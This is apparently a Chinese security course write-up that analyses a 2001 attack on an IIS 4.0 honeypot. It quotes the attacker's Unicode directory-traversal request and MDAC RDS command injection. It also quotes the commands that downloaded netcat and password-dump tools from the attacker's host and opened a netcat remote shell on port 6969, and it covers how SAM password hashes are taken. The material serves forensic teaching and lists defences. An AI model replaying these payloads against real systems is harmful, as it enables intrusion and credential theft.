Windows操作系统及其安全机制
Windows⽂件系统
FAT (File Allocation Table⽂件分配表)
1980: FAT12 1987: FAT16 1995: FAT32
⽂件⽬录表: Table; ⽂件分配表: Linked List 安全性弱,正在被NTFS取代NTFS (NT File System)
1990s: M$/IBM joint project, 从OS/2⽂件系统HPFS继承
NTFS v3.x for Windows NT 5.x, 较FAT更具安全性(ACL),更好的性能、可靠性和磁盘利⽤效率 基于访问控制列表机制保证⽂件读写安全性 ⽀持任意UTF-16命名,使⽤B+树进⾏索引, … Metadata保存⽂件相关各种数据,保存在Meta FileTable(MFT)
使⽤Metaspoit攻击MS08-067
见另⼀篇博⽂
分析 NT 系统破解攻击
案例分析挑战内容:
2001年2⽉4⽇,来⾃213.116.251.162的攻击者成功攻陷了蜜罐主机 172.16.1.106(主机名为:lab.wiretrip.net),这是⼀次⾮常典型的针对NT系统的攻击,⽽且我们有理由相信攻击者最终识别了蜜罐主机,因此这将是⼀个⾮常有趣的案例分析挑战。你的分析数据源只有包含整个攻击过程的⼆进制记录⽂件,⽽你的任务就是从这个⽂件中提取并分析攻击的全部过程问题:
1. 攻击者使⽤了什么破解⼯具进⾏攻击?
2. 攻击者如何使⽤这个破解⼯具进⼊并控制了系统?3. 当攻击者获得系统的访问权后做了什么?4. 我们如何防⽌这样的攻击?
5. 额外奖励问题:你觉得攻击者是否警觉了他的⽬标是⼀台蜜罐主机?如果是,为什么?待分析⼆进制⽂件位置:
MD5=aca62e19ba49546d2bfd1fa1c71b5751提⽰使⽤⼯具:
snortnstreamwireshark
1. 攻击者使⽤了什么破解⼯具进⾏攻击?
问题解答:攻击者利⽤了Unicode攻击(针对MS00-078/MS01-026)和针对msadcs.dll中RDS漏洞(MS02-065)的msadc.pl/msadc2.pl 渗透攻击⼯具进⾏了攻击。分析:
⾸先看到的是攻击者对蜜罐主机安全漏洞的查点过程
从攻击主机213.116.251.162⾸先访问了蜜罐172.16.1.106上的http://lab.wiretrip.net/Default.htm页⾯,其User-Agent域设置为Mozilla/4.0 (compatible;MSIE5.01; Windows NT 5.0;Hotbar2.0),Accept字段中显⽰访问主机安装了MS Word等软件,可推测攻击主机应为NT5.0系统,安装了MSIE5.01和Hotbar2.0插件。
在点击访问了http://lab.wiretrip.net/guest/default.asp内部留⾔本页⾯之后,攻击者在SESSION:1765-80中成功进⾏了Unicode攻击以打开NT系统启动⽂件boot.ini,其request为:GET/guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1(注: %C0%AF为’/’的Unicode编码, IIS4.0 和 5.0 存在Unicode Directory Traversal Vulnerability, )
随后,在SESSION:1769-80和SESSION:1770-80中,攻击者探测了/msadc/msadcs.dll的存在,并在SESSION:1771-80 中通过msadcs.dll中存在RDS漏洞(注:MS02-065 漏洞,)进⾏了SQL注⼊攻击,尝
试执⾏\"cmd /c echo werd>>c:\\fun\"命令。在紧随的SESSION:1772-80 中,攻击者验证其攻击确实成功了。
根 据 “ADM!ROX!YOUR!WORLD”特征字符串,以及查询语句中使⽤了dbq=c:\\winnt\\help\\iis\\htm\utorial\\btcustmr.mdb,我们可以通过 Google 查询到这次攻击应是由rain forest puppy 编写的 msadc(2).pl渗透攻击代码所发起的。
⾄此,攻击者通过查点确认了⽬标系统提供 Web 服务的是臭名昭著的 IIS v4.0,并存在Unicode 和 MDAC RDS 安全漏洞,可进⾏进⼀步渗透攻击。
攻击技术背景
Unicode 攻击
Unicode 攻击原理解释.
利⽤微软 IIS 4.0 和 5.0 都存在利⽤扩展 UNICODE 字元取代\"/\"和\"\\\"⽽能利⽤\"../\"⽬录遍历的漏洞。
未经授权的⽤户可能利⽤ IUSR_machinename 账号的上下⽂空间访问任何已知的⽂件。该账号在默认情况下属于 Everyone 和 Users 组的成员,因此任何与 Web 根⽬录在同⼀逻辑驱动器上的能被这些⽤户组访问的⽂件都能被删除,修改或执⾏,所能完成的⼀样。%c0%af = /%c1%9c = \\
MDAC SQL 注⼊攻击
IIS的MDAC 组件存在⼀个漏洞可以导致攻击者远程执⾏你系统的命令。主要核⼼问题是存在于 RDS Datafactory, DataFactory允许使⽤者从远端执⾏四项功能,包括:「Query」、「CreateRecordSet」、「ConvertToString」和「SubmitChange
2.攻击者如何使⽤这个破解⼯具进⼊并控制了系统?
分析:
观察到每次 RDS 渗透攻击间的间隔时间均为 2-3 秒,可以推测攻击者是预先写好需执⾏的 shell 指令列表,然后由 msadc(2).pl 渗透攻击⼯具⼀起执⾏。
在 RDS 攻击由于粗⼼⼤意没写对 FTP 脚本后,攻击者⼜开始转向 Unicode 攻击,每条请求间隔时间⼤概在 10-12 秒,意味着这些指令可能是由攻击者⼿⼯输⼊的:
SESSION:1874-80 \"copy C:\\winnt\\system32\\cmd.exe cmd1.exe\"SESSION:1875-80 \"cmd1.exe /c open 213.116.251.162 >ftpcom\"SESSION:1876-80 \"cmd1.exe /c echo johna2k >>ftpcom\"SESSION:1877-80 \"cmd1.exe /c echo haxedj00 >>ftpcom\"SESSION:1879-80 \"cmd1.exe /c echo get nc.exe >>ftpcom\"SESSION:1880-80 \"cmd1.exe /c echo get pdump.exe >>ftpcom\"SESSION:1881-80 \"cmd1.exe /c echo get samdump.dll >>ftpcom\"SESSION:1882-80 \"cmd1.exe /c echo quit >>ftpcom\"SESSION:1885-80 \"cmd1.exe /c ftp -s:ftpcom\"
这次终于对了,蜜罐主机连接 213.116.251.162 并下载了所指定的这些⽂件,并通过 nc构建其⼀个远程 shell 通道。SESSION:1887-80 \"cmd1.exe /c nc -l -p 6969 -ecmd1.exe\"接着,攻击者连接 6969 端⼝,获得了访问权,并进⼊了交互式控制阶段。
攻击⼯具介绍: Netcat
NetCat 是⼀个⾮常简单的 Unix ⼯具,可 以读、写 TCP 或 UDP ⽹络连接(network connection)。它被设计成⼀个可靠的后端(back-end)⼯具,能被其它的程序程序或脚本直接地或容易地驱动。同时,它⼜是⼀个功能丰富的⽹络调试和开发⼯具,因为它可以建⽴你可能⽤到的⼏乎任何类型的连接,以及⼀些⾮常有意思的内建功能
详细使⽤⽅法参看我的博客
3.当攻击者获得系统的访问权后做了什么?
通过上述针对 IIS的远程渗透攻击,攻击者获得了IUSER_KENNY ⽤户账号(IIS启动⽤户)权限,但显然他并不满⾜于此,虽然能够通过 MDAC RDS以SYSTEM账号运⾏任意指令,但攻击者仍然希望获得本地 Administrator ⽤户权限。4. 我们如何防⽌这样的攻击?
这个攻击事件中被利⽤的两个漏洞为RDS和Unicode漏洞,两者都已经有相应的补丁,通过打补丁可防⽌遭受同样的攻击。不要使⽤ IIS4.x 这样臭名昭著的 WebServer,如果必须使⽤ IIS4.x,主要的防范措施有(参考⾃⿊客⼤曝光)
1.为这些漏洞打上补丁,
2.禁⽤⽤不着的 RDS 等服务,
3.防⽕墙封禁⽹络内部服务器发起的连接
4.为 web server 在单独的⽂件卷上设置虚拟根⽬录
5.使⽤ NTFS ⽂件系统,因为 FAT ⼏乎不提供安全功能6.使⽤ IIS Lockdown 和 URLScan 等⼯具加强 web server
攻击技术背景
Windows 查点 Windows SAM ⼝令⽂件破解
1、取得 Administrator 特权后,攻击者很可能会径直⾛向 NT 安全帐号管理器 SAM(Security Accounts Manager),SAM含有本地系统或所控制域(如果是域控)上所有⽤户的⽤户名和经加密的密码。SAM是NT系统攻击中的致命部位,与Unix/2、密码破解任务的第⼀步是获取密码⽂件,即获取 SAM,但该⽬录在操作系统运⾏期间是上锁的,有四种获取 SAM 数据的⽅法,⼀是把以另外⼀个操作系统如DOS启动,然后从驱动器中摘取 SAM ⽂件;⼆是拷贝由 NT 修复磁盘⼯具(rdisk)创建的 SAM ⽂件的拷贝;三是从 SAM 中直接抽取密码散列值;
四是对⽹络⽤户名/密码交互进⾏⽹络监听和破解。
3、攻 击 者 采 ⽤ 了 第 ⼆ 种 ⽅ 法 获 取 SAM , rdisk /s- 备 份 关 键 系 统 信 息 , 在 %systemroot%\\repair ⽬录中就会创建⼀个名为 sam._的 SAM 压缩拷贝,备份的 sam._⽂件在使⽤之前需要通过 expand 进⾏扩展, L0phtcrack 的较新版本通过导⼊功能⾃动完成扩展⼯作。4、攻击者也试图采⽤第三种⽅法获取 SAM,将从注册表中直接转存成类似 UNIX 上
/etc/password ⽂件的格式,完成这个⼯作的最初⼯具是由 Jeremy Allison 编写的 pwdump.5、SAM 密码破解⼯具L0phtcrackJohn 杀⼿
带 NT 扩展的 crack 5
Windows Net 命令
net 命令有着⾮常强⼤的功能,管理着计算机的绝⼤部分管理级操作和⽤户级操作,包
括管理本地和远程⽤户组数据库、管理共享资源、管理本地服务、进⾏⽹络配置等实⽤操作NET command /HELP
5.额外奖励问题:你觉得攻击者是否警觉了他的⽬标是⼀台蜜罐主机?如果是,为什么?
是的,攻击者绝对意识到了他的⽬标是作为蜜罐主机的,因为他建⽴了⼀个⽂件,并输⼊了如下内容 C:>echo best honeypot i've seen till now > rfp.txt.
因为该⽬标主机作为 rfp 的个⼈⽹站, Web 服务所使⽤的 IIS 甚⾄没有更新 rfp ⾃⼰所发现的 MDAC RDS安全漏洞,很容易让攻击者意识到这绝对是台诱饵。
因篇幅问题不能全部显示,请点此查看更多更全内容